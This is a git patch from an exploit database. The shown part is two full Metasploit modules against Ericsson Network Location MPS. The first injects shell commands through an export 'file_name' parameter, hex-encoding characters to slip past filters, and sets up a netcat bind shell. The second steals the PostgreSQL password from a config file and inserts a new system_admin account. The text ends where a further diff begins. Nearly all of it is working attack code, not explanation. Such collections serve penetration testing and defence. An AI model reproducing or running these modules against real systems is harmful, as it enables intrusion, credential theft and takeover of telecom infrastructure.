From 7e3fa43161bd9b1dedfb3849d86fa42870e5edbe Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Wed, 3 Nov 2021 05:02:14 +0000 Subject: [PATCH] DB: 2021-11-03 9 changes to exploits/shellcodes Dynojet Power Core 2.3.0 - Unquoted Service Path Kingdia CD Extractor 3.0.2 - Buffer Overflow (SEH) YouTube Video Grabber 1.9.9.1 - Buffer Overflow (SEH) 10-Strike Network Inventory Explorer Pro 9.31 - Buffer Overflow (SEH) Employee Record Management System 1.2 - 'empid' SQL injection (Unauthenticated) Ericsson Network Location MPS GMPC21 - Remote Code Execution (RCE) (Metasploit) Ericsson Network Location MPS GMPC21 - Privilege Escalation (Metasploit) i3 International Annexxus Cameras Ax-n 5.2.0 - Application Logic Flaw Codiad 2.8.4 - Remote Code Execution (Authenticated) (4) --- exploits/multiple/webapps/50468.rb | 313 +++++++++++++++++++++++++ exploits/multiple/webapps/50469.rb | 350 ++++++++++++++++++++++++++++ exploits/multiple/webapps/50473.txt | 119 ++++++++++ exploits/multiple/webapps/50474.txt | 29 +++ exploits/php/webapps/50467.txt | 41 ++++ exploits/windows/local/50466.txt | 41 ++++ exploits/windows/local/50470.py | 93 ++++++++ exploits/windows/local/50471.py | 92 ++++++++ exploits/windows/local/50472.py | 73 ++++++ files_exploits.csv | 9 + 10 files changed, 1160 insertions(+) create mode 100755 exploits/multiple/webapps/50468.rb create mode 100755 exploits/multiple/webapps/50469.rb create mode 100644 exploits/multiple/webapps/50473.txt create mode 100644 exploits/multiple/webapps/50474.txt create mode 100644 exploits/php/webapps/50467.txt create mode 100644 exploits/windows/local/50466.txt create mode 100755 exploits/windows/local/50470.py create mode 100755 exploits/windows/local/50471.py create mode 100755 exploits/windows/local/50472.py diff --git a/exploits/multiple/webapps/50468.rb b/exploits/multiple/webapps/50468.rb new file mode 100755 index 000000000..1f262a983 --- /dev/null +++ b/exploits/multiple/webapps/50468.rb @@ -0,0 +1,313 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Ericsson Network Location MPS - Restrictions Bypass RCE (Meow Variant)', + 'Description' => %q( + This module exploits an arbitrary command execution vulnerability in Ericsson Network Location Mobile Positioning Systems. + The "export" feature in various parts of the application is vulnerable. + It is a feature made for the information in the tables to be exported to the server and imported later when required. + Export operations contain "file_name" parameter. + This parameter is assigned as a variable between the server commands on the backend side. + It allows command injection with preventions bypass operation. + + "version":"GMPC21","product_number":"CSH 109 025 R6A", "cluster version: 21" + + /////// This 0day has been published at DEFCON29-PHV Village. /////// + + ), + 'Author' => [ + 'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2021-'], + ['URL', 'https://pentest.com.tr/blog/RCE-via-Meow-Variant-along-with-an-Example-0day-PacketHackingVillage-Defcon29.html'], + ['URL', 'https://www.ericsson.com/en/portfolio/digital-services/automated-network-operations/analytics-and-assurance/ericsson-network-location'], + ['URL', 'https://www.wallofsheep.com/pages/dc29#akkus'] + ], + 'Privileged' => true, + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 512, + 'Compat' => + { + 'PayloadType' => 'cmd' + } + }, + 'DefaultOptions' => + { + 'WfsDelay' => 600, + 'RPORT' => 10083, + 'SSL' => true, + 'PAYLOAD' => 'cmd/unix/bind_netcat' + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => [['Ericsson NLG', {}]], + 'DisclosureDate' => 'Apr 21 2021', + 'DefaultTarget' => 0) + ) + register_options [ + OptString.new('USERNAME', [true, 'NLG Username']), + OptString.new('PASSWORD', [true, 'NLG Password']), + OptString.new('TARGETURI', [true, 'Base path for NLG application', '/']) + ] + end + ###################################################### + # + # There are a total of 20 vulnerable areas. + # These areas are located in cells,psap,numbering,smpp fields. + # One request for each of these fields has been used for exploitation. + # These are listed below. + # + # /[CLS_ID]/[CLS_NODE_TYPE]/numbering/plmns/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1 + # /[CLS_ID]/[CLS_NODE_TYPE]/smpp/export?file_name=/export/home/mpcadmin/[FILENAME]&host=[HOSTNAME] HTTP/1.1 + # /[CLS_ID]/[CLS_NODE_TYPE]/cells/gsm/cgi_cells/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1 + # /[CLS_ID]/[CLS_NODE_TYPE]/psap/wireless/specific_routings/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1 + # + ###################################################### + + # for Origin and Referer headers + def peer + "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" + end + # split strings to salt + def split(data, string_to_split) + word = data.scan(/"#{string_to_split}":"([\S\s]*?)"/) + string = word.split('"]').join('').split('["').join('') + return string + end + + def cluster + + res = send_request_cgi({ + # clusters information to API directories + 'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', 'clusters'), + 'method' => 'GET' + }) + + if res && res.code == 200 && res.body =~ /version/ + cls_version = split(res.body, "version") + cls_node_type = split(res.body, "node_type") + cls_name = split(res.body, "cluster_name") + cls_id = cls_version + "-" + cls_node_type + "-" + cls_name + return cls_version, cls_node_type, cls_name, cls_id + else + fail_with(Failure::NotVulnerable, 'Cluster not detected. Check the informations!') + end + end + + def permission_check(token) + # By giving numbers to the vulnerable areas, we can easily use them in JSON format. + json_urls = '{"1":"/positioning_controls/gsm/","2":"/smpp/", "3":"/cells/gsm/cgi_cells/", "4":"/psap/wireless/specific_routings/", "5":"/numbering/plmns/"}' + parse = JSON.parse(json_urls) + cls_id = cluster[3] + cls_node_type = cluster[1] + + i = 1 + while i <= 6 do + link = parse["#{i}"] + i +=1 + # The cells export operation returns 409 response when frequent requests are made. + # Therefore, if it is time for check cells import operation, we tell expoit to sleep for 2 seconds. + if link == "/cells/gsm/cgi_cells/" + sleep(7) + end + filename = Rex::Text.rand_text_alpha_lower(6) + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cls_id, cls_node_type, link, 'export?file_name=/export/home/mpcadmin/', filename), + 'method' => 'GET', + 'headers' => + { + 'X-Auth-Token' => token, + 'Origin' => "#{peer}" + } + }) + + if res && res.code == 403 then # !200 + next + elsif res && res.code == 200 + return link, true + elsif res && res.code == 400 + return link, true + elsif res && res.code == 404 # This means i == 5 (a non index) and response returns 404. + return "no link", false + end + end + end + + def check + # check connection and login + token = login(datastore['USERNAME'], datastore['PASSWORD']) + res = send_request_cgi({ + # product information check + 'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cluster[3], 'product_info', 'about'), + 'method' => 'GET', + 'headers' => + { + 'X-Auth-Token' => token, + 'Origin' => "#{peer}" + } + }) + + if res && res.code == 200 && res.body =~ /version/ + version = split(res.body, "version") + pnumber = split(res.body, "product_number") + print_status("Product Number:#{pnumber} - Version:#{version}") + return CheckCode::Appears + else + return CheckCode::Safe + end + end + + def login(user, pass) + + json_login = '{"auth": {"method": "password","password": {"user_id": "' + datastore["USERNAME"] + '","password": "' + datastore["PASSWORD"] + '"}}}' + + res = send_request_cgi( + { + 'method' => 'POST', + 'ctype' => 'application/json', + 'uri' => normalize_uri(target_uri.path, 'api', 'login', 'nlg', 'gmpc', 'auth', 'tokens'), + 'headers' => + { + 'Origin' => "#{peer}" + }, + 'data' => json_login + }) + + if res && res.code == 200 && res.body =~ /true/ + auth_token = split(res.body, "authToken") + return auth_token + else + fail_with(Failure::NotVulnerable, 'Login failed. Check your informations!') + end + end + + def prep_payloads(token, link) + fifo = Rex::Text.rand_text_alpha_lower(4) + #/ = 2F - y + #; = 3B - z + #| = 7C - p + #>& = 3E26 - v + #>/ = 3E2F - g + #> = 3E - k + #< = 3C - c + #' = 27 - t + #$ = 24 - d + #\ = 5C - b + #! = 21 - u + #" = 22 - x + #( = 28 - m + #) = 29 - i + #, = 2C - o + #_ = 5F - a + + # echo `xxd -r -p <<< 2F`>y + payloads = '{"1":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2F`>y&&pwd>fl") +'", ' + # echo `xxd -r -p <<< 3B`>z + payloads << '"2":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3B`>z&&pwd>fl") +'", ' + #echo `xxd -r -p <<< 7C`>p + payloads << '"3":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}7C`>p&&pwd>fl") +'", ' + #echo `xxd -r -p <<< 3E26`>v + payloads << '"4":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E26`>v&&pwd>fl") +'", ' + #echo `xxd -r -p <<< 3E`>k + payloads << '"5":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E`>k&&pwd>fl") +'", ' + #echo `xxd -r -p <<< 27`>t + payloads << '"6":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}27`>t&&pwd>fl") +'", ' + #echo `xxd -r -p <<< 24`>d + payloads << '"7":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}24`>d&&pwd>fl") +'", ' + #echo `xxd -r -p <<< 5C`>b + payloads << '"8":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5C`>b&&pwd>fl") +'", ' + #echo `xxd -r -p <<< 21`>u + payloads << '"9":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}21`>u&&pwd>fl") +'", ' + #echo `xxd -r -p <<< 22`>x + payloads << '"10":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}22`>x&&pwd>fl") +'", ' + #echo `xxd -r -p <<< 28`>m + payloads << '"11":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}28`>m&&pwd>fl") +'", ' + #echo `xxd -r -p <<< 29`>i + payloads << '"12":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}29`>i&&pwd>fl") +'", ' + #echo `xxd -r -p <<< 2C`>o + payloads << '"13":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2C`>o&&pwd>fl") +'", ' + #echo `xxd -r -p <<< 5F`>a + payloads << '"14":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5F`>a&&pwd>fl") +'", ' + #echo `xxd -r -p <<< 3C`>c + payloads << '"15":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3C`>c&&pwd>fl") +'", ' + #echo `xxd -r -p <<< 3E2F`>g + payloads << '"16":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E2F`>g&&pwd>fl") +'", ' + #echo "mkfifo /tmp/file; (nc -l -p 1544 ||nc -l 1544)0<" > p1 + payloads << '"17":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}mkfifo${IFS}`cat${IFS}y`tmp`cat${IFS}y`#{fifo}`cat${IFS}z`${IFS}`cat${IFS}m`nc${IFS}-l${IFS}-p${IFS}#{datastore['LPORT']}${IFS}`cat${IFS}p``cat${IFS}p`nc${IFS}-l${IFS}#{datastore['LPORT']}`cat${IFS}i`0`cat${IFS}c`>p1&&pwd>fl") +'", ' + #echo "/tmp/file | /bin/sh >/tmp/file 2>&1; rm /tmp/file" > p2 + payloads << '"18":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}y`tmp`cat${IFS}y`#{fifo}${IFS}`cat${IFS}p`${IFS}`cat${IFS}y`bin`cat${IFS}y`sh${IFS}`cat${IFS}g`tmp`cat${IFS}y`#{fifo}${IFS}2`cat${IFS}v`1`cat${IFS}z`${IFS}rm${IFS}`cat${IFS}y`tmp`cat${IFS}y`#{fifo}>p2&&pwd>fl") +'", ' + #echo `cat p1` `cat p2` > 1.sh + payloads << '"19":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}p1`${IFS}`cat${IFS}p2`>1.sh&&pwd>fl") +'", ' + #chmod +x 1.sh + payloads << '"20":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}1.sh&&pwd>fl") +'", ' + #sh 1.sh + payloads << '"21":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}1.sh&&pwd>fl") +'"}' + + if link == "/cells/gsm/cgi_cells/" + print_status("Your user must be 'gmpc_celldata_admin'. That's why Expoit going to run slowly. Please be patient!") + end + + parse = JSON.parse(payloads) + cls_id = cluster[3] + cls_node_type = cluster[1] + i = 1 + while i <= 21 do + pay = parse["#{i}"] + i +=1 + if link == "/cells/gsm/cgi_cells/" + sleep(7) + end + send_payloads(cls_id, cls_node_type, token, link, pay) + end + end + + + def send_payloads(id, type, token, link, pay) + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', id, type, link, 'export?file_name=/export/home/mpcadmin/%7C' + pay), + 'method' => 'GET', + 'headers' => + { + 'X-Auth-Token' => token, + 'Origin' => "#{peer}" + } + }) + + end + + ## + # Exploiting phase + ## + def exploit + + unless Exploit::CheckCode::Appears == check + fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') + end + auth_token = login(datastore['USERNAME'], datastore['PASSWORD']) + unless true == permission_check(auth_token)[1] + fail_with(Failure::NotVulnerable, 'The user has no permission to perform the operation!') + else + perm_link = permission_check(auth_token)[0] + print_good("Excellent! The user #{datastore['USERNAME']} has permission on #{perm_link}") + end + + prep_payloads(auth_token, perm_link) + + end +end \ No newline at end of file diff --git a/exploits/multiple/webapps/50469.rb b/exploits/multiple/webapps/50469.rb new file mode 100755 index 000000000..f01aa45d5 --- /dev/null +++ b/exploits/multiple/webapps/50469.rb @@ -0,0 +1,350 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Ericsson Network Location MPS - Privilege Escalation (Meow Variant)', + 'Description' => %q( + This module exploits privilege escalation vulnerability in Ericsson Network Location Mobile Positioning Systems. + It creates a new admin user with SQL Query. Thanks to the Meow variant, it does this with the PostgreSQL password it stole. + Therefore low authority user can gain the authority of "admin" on the application. + + You can examine the exploit "Restrictions Bypass RCE", which is the main source of the vulnerability. + "version":"GMPC21","product_number":"CSH 109 025 R6A", "cluster version: 21" + + /////// This 0day has been published at DEFCON29-PHV Village. /////// + + ), + 'References' => + [ + [ 'CVE', '2021-' ], + [ 'URL', 'https://pentest.com.tr/blog/RCE-via-Meow-Variant-along-with-an-Example-0day-PacketHackingVillage-Defcon-29.html' ], + [ 'URL', 'https://www.ericsson.com/en/portfolio/digital-services/automated-network-operations/analytics-and-assurance/ericsson-network-location'], + [ 'URL', 'https://www.wallofsheep.com/pages/dc29#akkus'] + ], + 'Author' => + [ + 'Özkan Mustafa AKKUŞ ' # Discovery & PoC & MSF Module @ehakkus + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => "Apr 21 2021", + 'DefaultOptions' => + { + 'RPORT' => 10083, + 'SSL' => true + } + )) + + register_options([ + OptString.new('USERNAME', [true, 'NLG Username']), + OptString.new('PASSWORD', [true, 'NLG Password']), + OptString.new('TARGETURI', [true, 'Base path for NLG application', '/']) + ]) + end + # for Origin and Referer headers + def peer + "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" + end + # split strings to salt + def split(data, string_to_split) + word = data.scan(/"#{string_to_split}":"([\S\s]*?)"/) + string = word.split('"]').join('').split('["').join('') + return string + end + + def cluster + + res = send_request_cgi({ + # clusters information to API directories + 'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', 'clusters'), + 'method' => 'GET' + }) + + if res && res.code == 200 && res.body =~ /version/ + cls_version = split(res.body, "version") + cls_node_type = split(res.body, "node_type") + cls_name = split(res.body, "cluster_name") + cls_id = cls_version + "-" + cls_node_type + "-" + cls_name + return cls_version, cls_node_type, cls_name, cls_id + else + fail_with(Failure::NotVulnerable, 'Cluster not detected. Check the informations!') + end + end + + def permission_check(token) + # By giving numbers to the vulnerable areas, we can easily use them in JSON format. + json_urls = '{"1":"/cells/gsm/cgi_cells/","2":"/smpp/", "3":"/positioning_controls/gsm/", "4":"/psap/wireless/specific_routings/", "5":"/numbering/plmns/"}' + parse = JSON.parse(json_urls) + cls_id = cluster[3] + cls_node_type = cluster[1] + + i = 1 + while i <= 6 do + link = parse["#{i}"] + i +=1 + # The cells export operation returns 409 response when frequent requests are made. + # Therefore, if it is time for check cells import operation, we tell expoit to sleep for 2 seconds. + if link == "/cells/gsm/cgi_cells/" + sleep(7) + end + filename = Rex::Text.rand_text_alpha_lower(6) + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cls_id, cls_node_type, link, 'export?file_name=/export/home/mpcadmin/', filename), + 'method' => 'GET', + 'headers' => + { + 'X-Auth-Token' => token, + 'Origin' => "#{peer}" + } + }) + + if res && res.code == 403 then # !200 + next + elsif res && res.code == 200 + return link, true + elsif res && res.code == 400 + return link, true + elsif res && res.code == 404 # This means i == 5 (a non index) and response returns 404. + return "no link", false + end + end + end + + def check + # check connection and login + token = login(datastore['USERNAME'], datastore['PASSWORD']) + res = send_request_cgi({ + # product information check + 'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cluster[3], 'product_info', 'about'), + 'method' => 'GET', + 'headers' => + { + 'X-Auth-Token' => token, + 'Origin' => "#{peer}" + } + }) + + if res && res.code == 200 && res.body =~ /version/ + version = split(res.body, "version") + pnumber = split(res.body, "product_number") + print_status("Product Number:#{pnumber} - Version:#{version}") + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Safe + end + end + + def login(user, pass) + + json_login = '{"auth": {"method": "password","password": {"user_id": "' + datastore["USERNAME"] + '","password": "' + datastore["PASSWORD"] + '"}}}' + + res = send_request_cgi( + { + 'method' => 'POST', + 'ctype' => 'application/json', + 'uri' => normalize_uri(target_uri.path, 'api', 'login', 'nlg', 'gmpc', 'auth', 'tokens'), + 'headers' => + { + 'Origin' => "#{peer}" + }, + 'data' => json_login + }) + + if res && res.code == 200 && res.body =~ /true/ + auth_token = split(res.body, "authToken") + return auth_token + else + fail_with(Failure::NotVulnerable, 'Login failed. Check your informations!') + end + end + + def prep_payloads(token, link) + configname = Rex::Text.rand_text_alpha_lower(12) + newuser = Rex::Text.rand_text_alpha_lower(8) + newpass = "PrivEsc0day!" + #/ = 2F - y + #; = 3B - z + #| = 7C - p + #>& = 3E26 - v + #>/ = 3E2F - g + #> = 3E - k + #< = 3C - c + #' = 27 - t + #$ = 24 - d + #\ = 5C - b + #! = 21 - u + #" = 22 - x + #( = 28 - m + #) = 29 - i + #, = 2C - o + #_ = 5F - a + # echo `xxd -r -p <<< 2F`>y + payloads = '{"1":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2F`>y&&pwd>fl") +'", ' + # echo `xxd -r -p <<< 3B`>z + payloads << '"2":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3B`>z&&pwd>fl") +'", ' + #echo `xxd -r -p <<< 7C`>p + payloads << '"3":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}7C`>p&&pwd>fl") +'", ' + #echo `xxd -r -p <<< 3E26`>v + payloads << '"4":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E26`>v&&pwd>fl") +'", ' + #echo `xxd -r -p <<< 3E`>k + payloads << '"5":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E`>k&&pwd>fl") +'", ' + #echo `xxd -r -p <<< 27`>t + payloads << '"6":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}27`>t&&pwd>fl") +'", ' + #echo `xxd -r -p <<< 24`>d + payloads << '"7":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}24`>d&&pwd>fl") +'", ' + #echo `xxd -r -p <<< 5C`>b + payloads << '"8":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5C`>b&&pwd>fl") +'", ' + #echo `xxd -r -p <<< 21`>u + payloads << '"9":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}21`>u&&pwd>fl") +'", ' + #echo `xxd -r -p <<< 22`>x + payloads << '"10":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}22`>x&&pwd>fl") +'", ' + #echo `xxd -r -p <<< 28`>x + payloads << '"11":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}28`>m&&pwd>fl") +'", ' + #echo `xxd -r -p <<< 29`>x + payloads << '"12":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}29`>i&&pwd>fl") +'", ' + #echo `xxd -r -p <<< 2C`>x + payloads << '"13":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2C`>o&&pwd>fl") +'", ' + #echo `xxd -r -p <<< 5F`>x + payloads << '"14":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5F`>a&&pwd>fl") +'", ' + #cp /opt/consul/setting/factory/GMPC/parameter/gmpc_schema.json [random-file-name].json + payloads << '"15":"' + Rex::Text.uri_encode("IFS=',.';cp${IFS}`cat${IFS}y`opt`cat${IFS}y`consul`cat${IFS}y`setting`cat${IFS}y`factory`cat${IFS}y`GMPC`cat${IFS}y`parameter`cat${IFS}y`gmpc_schema.json${IFS}#{configname}.json&&pwd>fl") +'", ' + #echo sed '31843!d' [random-file-name].json > pass1.sh + payloads << '"16":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}sed${IFS}`cat${IFS}t`31843`cat${IFS}u`d`cat${IFS}t`${IFS}#{configname}.json${IFS}>pass1.sh&&pwd>fl") +'", ' + #chmod +x pass1.sh + payloads << '"17":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}pass1.sh&&pwd>fl") +'", ' + #sh pass1.sh > pass2 + payloads << '"18":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}pass1.sh>pass2&&pwd>fl") +'", ' + #cat pass2 | awk -F[:,\"] '{print $5}' > pass3.sh + payloads << '"19":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}cat${IFS}pass2${IFS}`cat${IFS}p`${IFS}awk${IFS}-F[:,`cat${IFS}b``cat${IFS}x`]${IFS}`cat${IFS}t`{print${IFS}`cat${IFS}d`5}`cat${IFS}t`>pass3.sh&&pwd>fl") +'", ' + #chmod +x pass3.sh + payloads << '"20":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}pass3.sh&&pwd>fl") +'", ' + #sh pass3.sh > passlast + #passlast will be pgsql password... + payloads << '"21":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}pass3.sh>passlast&&pwd>fl") +'", ' + #echo PGPASSWORD='`cat passlast`' > sqlq1 + payloads << '"22":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}PGPASSWORD=`cat${IFS}t``cat${IFS}passlast``cat${IFS}t`>sqlq1&&pwd>fl") +'", ' + #echo '/opt/pgsql/bin/psql -U mps -d mpsdb -c "INSERT INTO ' > sqlq2 + payloads << '"23":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}y`opt`cat${IFS}y`pgsql`cat${IFS}y`bin`cat${IFS}y`psql${IFS}-U${IFS}mps${IFS}-d${IFS}mpsdb${IFS}-c${IFS}`cat${IFS}x`INSERT${IFS}INTO>sqlq2&&pwd>fl") +'", ' + #echo 'omuser(id,enabled,fail_times,latest_fail_at,name' > sqlq3 + payloads << '"24":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}omuser`cat${IFS}m`id`cat${IFS}o`enabled`cat${IFS}o`fail`cat${IFS}a`times`cat${IFS}o`latest`cat${IFS}a`fail`cat${IFS}a`at`cat${IFS}o`name>sqlq3&&pwd>fl") +'", ' + #echo ',password,password_expires_at,role)' > sqlq4 + payloads << '"25":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}o`password`cat${IFS}o`password`cat${IFS}a`expires`cat${IFS}a`at`cat${IFS}o`role`cat${IFS}i`>sqlq4&&pwd>fl") +'", ' + #echo "VALUES ('privesc155',0,0,0,'test8day','" > sqlq5 + payloads << '"26":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}VALUES${IFS}`cat${IFS}m``cat${IFS}t`#{newuser}`cat${IFS}t``cat${IFS}o`0`cat${IFS}o`0`cat${IFS}o`0`cat${IFS}o``cat${IFS}t`#{newuser}`cat${IFS}t``cat${IFS}o``cat${IFS}t`>sqlq5&&pwd>fl") +'", ' + # echo ada628c3ae88b9cf90e61d26d2d852c161e30de9',0,'system_admin');" > sqlq6 + payloads << '"27":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}ada628c3ae88b9cf90e61d26d2d852c161e30de9`cat${IFS}t``cat${IFS}o`0`cat${IFS}o``cat${IFS}t`system`cat${IFS}a`admin`cat${IFS}t``cat${IFS}i``cat${IFS}z``cat${IFS}x`>sqlq6&&pwd>fl") +'", ' + #echo `cat sqlq1` `cat sqlq2``cat sqlq3``cat sqlq4` `cat sqlq5``cat sqlq6` > sqlq7.sh + payloads << '"28":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}sqlq1`${IFS}`cat${IFS}sqlq2`${IFS}`cat${IFS}sqlq3``cat${IFS}sqlq4`${IFS}`cat${IFS}sqlq5``cat${IFS}sqlq6`>sqlq7.sh&&pwd>fl") +'", ' + #chmod +x sqlq7.sh + payloads << '"29":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}sqlq7.sh&&pwd>fl") +'", ' + #sh sqlq7.sh + payloads << '"30":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}sqlq7.sh&&pwd>fl") +'"}' + + if link == "/cells/gsm/cgi_cells/" + print_status("Your user must be 'gmpc_celldata_admin'. That's why Expoit going to run slowly. Please be patient!") + end + parse = JSON.parse(payloads) + cls_id = cluster[3] + cls_node_type = cluster[1] + i = 1 + while i <= 31 do + pay = parse["#{i}"] + i +=1 + + if link == "/cells/gsm/cgi_cells/" + sleep(15) + end + + send_payloads(cls_id, cls_node_type, token, link, pay) + if i == 31 + check_user(newuser, newpass, link) + end + end + end + + def check_user(user, pass, link) + + json_login = '{"auth": {"method": "password","password": {"user_id": "' + user + '","password": "' + pass + '"}}}' + if link == "/cells/gsm/cgi_cells/" + print_good("Privilege escalation successful!") + print_good("The new system admin user has been created successfully.") + print_status("New User : #{user}") + print_status("New Pass : #{pass}") + else + res = send_request_cgi( + { + 'method' => 'POST', + 'ctype' => 'application/json', + 'uri' => normalize_uri(target_uri.path, 'api', 'login', 'nlg', 'gmpc', 'auth', 'tokens'), + 'headers' => + { + 'Origin' => "#{peer}" + }, + 'data' => json_login + }) + + if res && res.code == 200 && res.body =~ /true/ + print_good("Privilege escalation successful!") + print_good("The new system admin user has been created successfully.") + print_status("New User : #{user}") + print_status("New Pass : #{pass}") + else + fail_with(Failure::NotVulnerable, 'Something went wrong. New user could not be created.') + end + end + end + + def get_pgsql_pass(config_name) + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, config_name), + 'method' => 'GET', + 'headers' => + { + 'Origin' => "#{peer}" + } + }) + + parse = JSON.parse(res.body) + pass = parse['AML'] + puts pass + end + + + def send_payloads(id, type, token, link, pay) + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', id, type, link, "export?file_name=/export/home/mpcadmin/%7C#{pay}"), + 'method' => 'GET', + 'headers' => + { + 'X-Auth-Token' => token, + 'Origin' => "#{peer}" + } + }) + + end + + ## + # Exploiting phase + ## + def run + + auth_token = login(datastore['USERNAME'], datastore['PASSWORD']) + unless permission_check(auth_token)[1] == true + fail_with(Failure::NotVulnerable, 'The user has no permission to perform the operation!') + else + perm_link = permission_check(auth_token)[0] + print_good("Excellent! The user #{datastore['USERNAME']} has permission on #{perm_link}") + end + + prep_payloads(auth_token, perm_link) + + end +end \ No newline at end of file diff --git 